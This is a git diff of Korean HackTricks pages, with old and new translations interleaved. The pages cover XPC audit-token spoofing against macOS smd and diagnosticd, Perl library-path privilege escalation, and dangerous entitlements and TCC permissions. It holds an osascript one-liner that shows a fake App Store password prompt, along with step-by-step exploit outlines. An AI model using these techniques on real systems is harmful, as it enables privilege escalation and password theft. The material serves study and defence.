시나리오:
|
||||
|
||||
* 우리가 연결할 수 있는 두 개의 mach 서비스 **`A`** 및 **`B`** (샌드박스 프로필 및 연결 수락 전 권한 확인을 기반으로).
|
||||
* 우리가 모두 연결할 수 있는 두 개의 맥 서비스 **`A`**와 **`B`** (샌드박스 프로필 및 연결 수락 전 권한 확인 기반).
|
||||
* _**A**_는 **`B`**가 전달할 수 있는 특정 작업에 대한 **권한 확인**이 있어야 합니다 (하지만 우리 앱은 할 수 없음).
|
||||
* 예를 들어, B에게 **특권**이 있거나 **루트로 실행** 중인 경우 A에게 특권 작업을 수행하도록 요청할 수 있습니다.
|
||||
* 예를 들어, B에게 **특권**이 있거나 **루트**로 실행 중인 경우 A에게 특권 작업을 수행하도록 요청할 수 있습니다.
|
||||
* 이 권한 확인을 위해 **`A`**는 비동기적으로 감사 토큰을 획득하며, 예를 들어 **`dispatch_async`**에서 `xpc_connection_get_audit_token`을 호출합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 경우 공격자는 **악용**을 만들어 **A에게 작업을 수행하도록 요청**하는 **경쟁 조건**을 유발할 수 있습니다. RC가 **성공하면**, **B**의 **감사 토큰**이 **메모리에 복사**되는 동안 **악용**의 요청이 **A에 의해 처리**되어 **B만 요청할 수 있는 특권 작업에 액세스**할 수 있습니다.
|
||||
이 경우 공격자는 **악용**을 만들어 **A에게 작업을 수행하도록 요청**하는 **경쟁 조건**을 유발할 수 있습니다. RC가 **성공하면**, **B**의 **감사 토큰**이 **메모리에 복사**되는 동안 **악용**의 **요청**이 **A에 의해 처리**됨으로써 **B만 요청할 수 있는 특권 작업에 액세스**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이는 **`A`**가 `smd`로, **`B`**가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로 실행). **루트로 실행 중인 프로세스가** **smd**에 연락하면 다른 확인이 수행되지 않습니다.
|
||||
이는 **`A`**가 `smd`로, **`B`**가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로). **루트**로 실행 중인 프로세스가 **smd**에 연락하면 다른 확인이 수행되지 않습니다.
|
||||
|
||||
따라서 서비스 **B**는 **루트로 실행** 중이므로 **모니터링**을 할 수 있고, 모니터링이 시작되면 **초당 여러 메시지를 보냅니다.**
|
||||
따라서 서비스 **B**는 **루트**로 실행되므로 프로세스를 **모니터링**할 수 있으며, 모니터링이 시작되면 **초당 여러 메시지를 보냅니다.**
|
||||
|
||||
공격을 수행하려면:
|
||||
|
||||
1. 표준 XPC 프로토콜을 사용하여 `smd`라는 서비스에 **연결**을 시작합니다.
|
||||
2. `diagnosticd`에 대한 보조 **연결**을 형성합니다. 일반적인 절차와 달리 두 개의 새로운 mach 포트를 생성하고 보내는 대신, 클라이언트 포트 송신 권한은 `smd` 연결과 관련된 **송신 권한**의 복제본으로 대체됩니다.
|
||||
3. 결과적으로 XPC 메시지를 `diagnosticd`로 보낼 수 있지만 `diagnosticd`로부터의 응답은 `smd`로 리디렉션됩니다. `smd`에게는 사용자 및 `diagnosticd`로부터의 메시지가 동일한 연결에서 발신된 것으로 보입니다.
|
||||
2. `diagnosticd`에 대한 보조 **연결**을 형성합니다. 일반적인 절차와 달리 두 개의 새로운 맥 포트를 생성하고 보내는 대신, 클라이언트 포트 송신 권한은 `smd` 연결과 관련된 **송신 권한**의 복제본으로 대체됩니다.
|
||||
3. 결과적으로 XPC 메시지는 `diagnosticd`로 보내지지만 `diagnosticd`의 응답은 `smd`로 재경로됩니다. `smd`에게는 사용자 및 `diagnosticd`로부터의 메시지가 동일한 연결에서 발신된 것으로 보입니다.
|
||||
|
||||
![공격 프로세스를 나타내는 이미지](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. 다음 단계는 `diagnosticd`에게 선택한 프로세스 (사용자의 것일 수도 있음)의 모니터링을 시작하도록 지시하는 것을 포함합니다. 동시에 `smd`로 루틴 1004 메시지의 홍수가 전송됩니다. 여기서의 의도는 권한이 상승된 도구를 설치하는 것입니다.
|
||||
5. 이 작업은 `handle_bless` 함수 내에서 경쟁 조건을 트리거합니다. 타이밍이 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자의 프로세스의 PID를 반환해야 합니다 (권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 하위 루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
4. 다음 단계는 `diagnosticd`에게 선택한 프로세스 (사용자의 것일 수도 있음)의 모니터링을 시작하도록 지시하는 것입니다. 동시에 `smd`로 루틴 1004 메시지의 홍수를 보냅니다. 이곳의 의도는 권한이 상승된 도구를 설치하는 것입니다.
|
||||
5. 이 작업은 `handle_bless` 함수 내에서 레이스 컨디션을 트리거합니다. 타이밍이 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자 프로세스의 PID를 반환해야 합니다 (권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
|
||||
## 변형 2: 응답 전달
|
||||
|
||||
XPC (Cross-Process Communication) 환경에서 이벤트 핸들러는 동시에 실행되지 않지만 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로 응답을 기대하는 메시지를 보내는 두 가지 다른 방법이 있습니다:
|
||||
XPC (Cross-Process Communication) 환경에서 이벤트 핸들러는 동시에 실행되지 않지만 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 보내는 두 가지 다른 방법이 있습니다:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: 여기서 XPC 메시지는 지정된 큐에서 수신되고 처리됩니다.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: 반면에 이 방법에서는 XPC 메시지가 현재 디스패치 큐에서 수신되고 처리됩니다.
|
||||
|
@ -111,26 +111,26 @@ XPC (Cross-Process Communication) 환경에서 이벤트 핸들러는 동시에
|
|||
악용 프로세스는 다음 단계를 포함합니다:
|
||||
|
||||
1. 서비스 **`A`**가 응답을 기대하는 메시지를 보내기를 기다립니다.
|
||||
2. **`A`**에 직접 응답하는 대신 응답 포트가 탈취되어 서비스 **`B`**에게 메시지를 보내는 데 사용됩니다.
|
||||
2. **`A`**에 직접 응답하는 대신, 응답 포트가 탈취되어 **`B`**에게 메시지를 보내는 데 사용됩니다.
|
||||
3. 이후, 금지된 작업을 포함하는 메시지가 전송되며, 이 메시지가 **`B`**의 응답과 동시에 처리될 것으로 예상됩니다.
|
||||
|
||||
아래는 설명된 공격 시나리오의 시각적 표현입니다:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 발견 문제
|
||||
|
||||
* **인스턴스 찾기의 어려움**: `xpc_connection_get_audit_token` 사용 사례를 정적으로나 동적으로 찾는 것이 어려웠습니다.
|
||||
* **방법론**: Frida를 사용하여 `xpc_connection_get_audit_token` 함수를 후킹하여 이벤트 핸들러에서 비롯된 호출을 필터링했습니다. 그러나 이 방법은 후킹된 프로세스에 한정되었으며 적극적인 사용이 필요했습니다.
|
||||
* **분석 도구**: IDA/Ghidra와 같은 도구를 사용하여 도달 가능한 mach 서비스를 조사했지만, dyld 공유 캐시를 포함하는 호출로 인해 시간이 많이 소요되었습니다.
|
||||
* **스크립팅 제한**: `dispatch_async` 블록에서 `xpc_connection_get_audit_token` 호출을 분석하기 위한 시도는 블록 구문 분석 및 dyld 공유 캐시와의 상호작용 복잡성으로 인해 방해를 받았습니다.
|
||||
* **분석 도구**: IDA/Ghidra와 같은 도구를 사용하여 도달 가능한 mach 서비스를 조사했지만, dyld 공유 캐시를 사용하는 호출로 인해 시간이 많이 소요되고 복잡했습니다.
|
||||
* **스크립팅 제한**: `dispatch_async` 블록에서 `xpc_connection_get_audit_token` 호출을 분석하기 위한 시도는 블록 구문 분석과 dyld 공유 캐시와의 상호 작용으로 인해 복잡성에 방해를 받았습니다.
|
||||
|
||||
## 수정 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **보고된 문제**: `smd` 내에서 발견된 일반 및 구체적인 문제에 대해 Apple에게 보고서가 제출되었습니다.
|
||||
* **Apple의 대응**: Apple은 `smd`에서 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체하여 문제를 해결했습니다.
|
||||
* **수정의 성격**: `xpc_dictionary_get_audit_token` 함수는 XPC 메시지에 묶인 mach 메시지에서 직접 감사 토큰을 검색하기 때문에 안전하다고 간주됩니다. 그러나 이는 `xpc_connection_get_audit_token`과 마찬가지로 공개 API의 일부가 아닙니다.
|
||||
* **보다 포괄적인 수정의 부재**: Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 버리는 등 더 포괄적인 수정을 구현하지 않은 이유는 명확하지 않습니다. 일부 시나리오에서 합법적인 감사 토큰 변경 가능성이 고려되었을 수 있습니다 (`setuid` 사용 등).
|
||||
* **보고된 문제**: `smd` 내에서 발견된 일반적인 및 구체적인 문제에 대해 Apple에게 보고서가 제출되었습니다.
|
||||
* **Apple의 대응**: Apple은 `smd`에서 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체함으로써 문제를 해결했습니다.
|
||||
* **수정의 성격**: `xpc_dictionary_get_audit_token` 함수는 XPC 메시지 수신과 관련된 mach 메시지에서 직접 감사 토큰을 검색하기 때문에 안전하다고 간주됩니다. 그러나 이는 `xpc_connection_get_audit_token`과 마찬가지로 공개 API의 일부가 아닙니다.
|
||||
* **보다 포괄적인 수정의 부재**: Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 버리는 등 더 포괄적인 수정을 구현하지 않은 이유는 명확하지 않습니다. 일부 시나리오에서 합법적인 감사 토큰 변경의 가능성이 요인일 수 있습니다 (예: `setuid` 사용).
|
||||
* **현재 상태**: 문제는 iOS 17 및 macOS 14에서 계속되며, 이를 식별하고 이해하려는 사람들에게 도전을 제공합니다.
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## `PERL5OPT` 및 `PERL5LIB` 환경 변수를 통한 방법
|
||||
|
||||
`PERL5OPT` 환경 변수를 사용하면 perl이 임의의 명령을 실행할 수 있습니다.\
|
||||
환경 변수 PERL5OPT을 사용하면 perl이 임의의 명령을 실행할 수 있습니다.\
|
||||
예를 들어, 다음 스크립트를 만듭니다:
|
||||
|
||||
{% code title="test.pl" %}
|
||||
|
@ -64,13 +64,13 @@ perl -e 'print join("\n", @INC)'
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
일부 반환된 폴더는 실제로 존재하지 않지만, **`/Library/Perl/5.30`**는 **존재**하며, **SIP로 보호되지 않으며** SIP로 보호되는 폴더보다 **앞에** 있습니다. 따라서 누군가는 그 폴더를 남용하여 스크립트 종속성을 추가하여 높은 권한을 가진 Perl 스크립트가 해당 종속성을 로드하도록 할 수 있습니다.
|
||||
일부 반환된 폴더는 실제로 존재하지 않지만, **`/Library/Perl/5.30`**는 **존재**하며, **SIP로 보호되지 않았으며** SIP로 보호되는 폴더들보다 **앞에** 있습니다. 따라서 누군가는 그 폴더를 남용하여 스크립트 종속성을 추가하여 고권한 Perl 스크립트가 해당 종속성을 로드하도록 할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
그러나 주의해야 할 점은 **해당 폴더에 쓰기 위해 root 여야**하며 요즘에는 이 **TCC 프롬프트**를 받게 될 것입니다:
|
||||
그러나 **해당 폴더에 쓰기 위해서는 루트 권한이 필요**하며 요즘에는 다음과 같은 **TCC 프롬프트**가 표시됩니다:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
예를 들어, 스크립트가 **`use File::Basename;`**을 가져오고 있다면 `/Library/Perl/5.30/File/Basename.pm`을 만들어 임의의 코드를 실행시킬 수 있습니다.
|
||||
|
||||
|
|
|
@ -1,92 +1,92 @@
|
|||
# macOS 위험한 권한 및 TCC 권한
|
||||
# macOS 위험한 Entitlements 및 TCC 권한
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`com.apple`**로 시작하는 권한은 제3자에게 사용할 수 없으며, Apple만이 부여할 수 있습니다.
|
||||
**`com.apple`**로 시작하는 entitlements는 **제3자에게 사용할 수 없으며**, Apple만이 그것을 부여할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## High
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
**`com.apple.rootless.install.heritable`** 권한은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기](macos-sip.md#com.apple.rootless.install.heritable)를 확인하세요.
|
||||
Entitlement **`com.apple.rootless.install.heritable`**은 **SIP 우회**를 허용합니다. 자세한 정보는 [여기를 확인하세요](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
**`com.apple.rootless.install`** 권한은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기](macos-sip.md#com.apple.rootless.install)를 확인하세요.
|
||||
Entitlement **`com.apple.rootless.install`**은 **SIP 우회**를 허용합니다. 자세한 정보는 [여기를 확인하세요](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (이전에 `task_for_pid-allow`로 불렸음)**
|
||||
|
||||
이 권한은 **커널을 제외한** 모든 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 내용은 [**여기**](../mac-os-architecture/macos-ipc-inter-process-communication/)를 확인하세요.
|
||||
이 entitlement은 **커널을 제외한 모든** 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 정보는 [**여기를 확인하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 이진 파일에서 실행되는 프로세스의 작업 포트를 가져와 **코드를 주입**할 수 있게 합니다. 자세한 내용은 [**여기**](../mac-os-architecture/macos-ipc-inter-process-communication/)를 확인하세요.
|
||||
이 entitlement은 다른 프로세스가 **이 entitlement를 가진 이진 파일에 의해 실행되는 프로세스의 작업 포트를 가져와 코드를 삽입**할 수 있도록 합니다. 자세한 정보는 [**여기를 확인하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
디버깅 도구 권한이 있는 앱은 `Get Task Allow` 권한이 `true`로 설정된 서명되지 않은 제3자 앱에 대해 `task_for_pid()`를 호출하여 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있더라도 디버거는 **`Get Task Allow` 권한이 없는 프로세스의 작업 포트**를 가져올 수 없으며, 따라서 시스템 무결성 보호로 보호되는 프로세스입니다. 자세한 내용은 [**여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)를 확인하세요.
|
||||
디버깅 도구 Entitlement를 가진 앱은 `Get Task Allow` entitlement가 `true`로 설정된 미사인 및 제3자 앱에 대해 `task_for_pid()`를 호출하여 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 entitlement가 있더라도 디버거는 **`Get Task Allow` entitlement가 없는 프로세스의 작업 포트**를 가져올 수 없으며, 따라서 시스템 무결성 보호로 보호되는 프로세스의 작업 포트를 가져올 수 없습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
이 권한은 Apple에 의해 서명되거나 동일한 팀 ID로 서명된 것이 아닌 **프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 합니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. 자세한 내용은 [**여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)를 확인하세요.
|
||||
이 entitlement은 Apple에 의해 서명되지 않았거나 주 실행 파일과 동일한 팀 ID로 서명되지 않은 **프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 합니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 삽입할 수 있습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **라이브러리 유효성 검사를 직접 비활성화**하는 대신 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다. 자세한 내용은 [**여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요.
|
||||
이 entitlement는 **`com.apple.security.cs.disable-library-validation`**과 매우 유사하지만 **라이브러리 유효성 검사를 직접 비활성화하는 대신** 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다. 자세한 정보는 [**여기를 확인하세요**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
이 권한은 라이브러리 및 코드를 주입할 수 있는 **DYLD 환경 변수**를 사용할 수 있게 합니다. 자세한 내용은 [**여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)를 확인하세요.
|
||||
이 entitlement는 **DYLD 환경 변수를 사용**할 수 있게 하여 라이브러리 및 코드를 삽입할 수 있습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` 또는 `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**이 블로그에 따르면**](https://objective-see.org/blog/blog\_0x4C.html) **및** [**이 블로그에 따르면**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), 이 권한은 **TCC** 데이터베이스를 **수정**할 수 있게 합니다.
|
||||
[**이 블로그에 따르면**](https://objective-see.org/blog/blog\_0x4C.html) **및** [**이 블로그에 따르면**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), 이러한 entitlements는 **TCC 데이터베이스를 수정**할 수 있게 합니다.
|
||||
|
||||
### **`system.install.apple-software`** 및 **`system.install.apple-software.standar-user`**
|
||||
|
||||
이 권한은 사용자에게 **권한을 요청하지 않고 소프트웨어를 설치**할 수 있게 합니다. 이는 **권한 상승**에 도움이 될 수 있습니다.
|
||||
이러한 entitlements는 사용자에게 **권한을 요청하지 않고 소프트웨어를 설치**할 수 있게 합니다. 이는 **권한 상승**에 도움이 될 수 있습니다.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
커널에 커널 확장을 로드하도록 **커널에 요청하는** 권한입니다.
|
||||
커널에 **커널 익스텐션을 로드하도록** 요청하는 entitlement입니다.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
**`com.apple.private.icloud-account-access`** 권한을 사용하면 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
Entitlement **`com.apple.private.icloud-account-access`**를 사용하면 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
|
||||
**iMovie** 및 **Garageband**에는 이 권한이 있습니다.
|
||||
**iMovie** 및 **Garageband**에는 이 entitlement가 있습니다.
|
||||
|
||||
이 권한으로부터 **icloud 토큰을 얻는** 공격에 대한 자세한 내용은 다음 토크를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
해당 entitlement에서 iCloud 토큰을 얻는 exploit에 대한 자세한 **정보**는 다음 발표를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
TODO: 이 권한이 허용하는 작업을 모르겠습니다.
|
||||
TODO: 이것이 무엇을 할 수 있는지 모르겠습니다
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이를 통해 재부팅 후 SSV로 보호된 콘텐츠를 업데이트할 수 있다고 언급합니다. 알고 계시다면 PR을 보내주세요!
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이것이 부팅 후 SSV로 보호된 콘텐츠를 업데이트하는 데 사용될 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이를 통해 재부팅 후 SSV로 보호된 콘텐츠를 업데이트할 수 있다고 언급합니다. 알고 계시다면 PR을 보내주세요!
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이것이 부팅 후 SSV로 보호된 콘텐츠를 업데이트하는 데 사용될 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
이 권한은 애플리케이션이 액세스할 수 있는 **키체인** 그룹 목록입니다.
|
||||
이 entitlement은 애플리케이션이 액세스할 수 있는 **키체인 그룹 목록**을 나열합니다:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -99,62 +99,60 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
|||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**전체 디스크 액세스** 권한을 부여합니다. TCC에서 가장 높은 권한 중 하나입니다.
|
||||
**전체 디스크 액세스** 권한을 부여하며, 가질 수 있는 TCC에서 가장 높은 권한 중 하나입니다.
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
앱이 **작업 자동화**에 일반적으로 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 허용합니다. 다른 앱을 제어함으로써, 이러한 다른 앱에 부여된 권한을 남용할 수 있습니다.
|
||||
앱이 **작업 자동화**에 일반적으로 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 합니다. 다른 앱을 제어하여 이러한 다른 앱에 부여된 권한을 남용할 수 있습니다.
|
||||
|
||||
예를 들어, 사용자에게 비밀번호를 요청하도록 만들 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
사용자에게 비밀번호를 요청하도록 만드는 것과 같은 작업을 수행할 수 있습니다:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
또는 그들에게 **임의의 동작**을 수행하게 할 수 있습니다.
|
||||
또는 그들로 하여금 **임의의 작업**을 수행하게 합니다.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
사용자의 TCC 데이터베이스를 **작성**하는 것을 허용합니다.
|
||||
다른 권한 중 하나로 **사용자 TCC 데이터베이스를 쓸 수 있게 합니다**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
사용자의 홈 폴더 경로를 변경하는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있으며, 이로 인해 TCC를 **우회**할 수 있습니다.
|
||||
사용자의 홈 폴더 경로를 변경하는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 합니다. 따라서 **TCC를 우회**할 수 있습니다.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
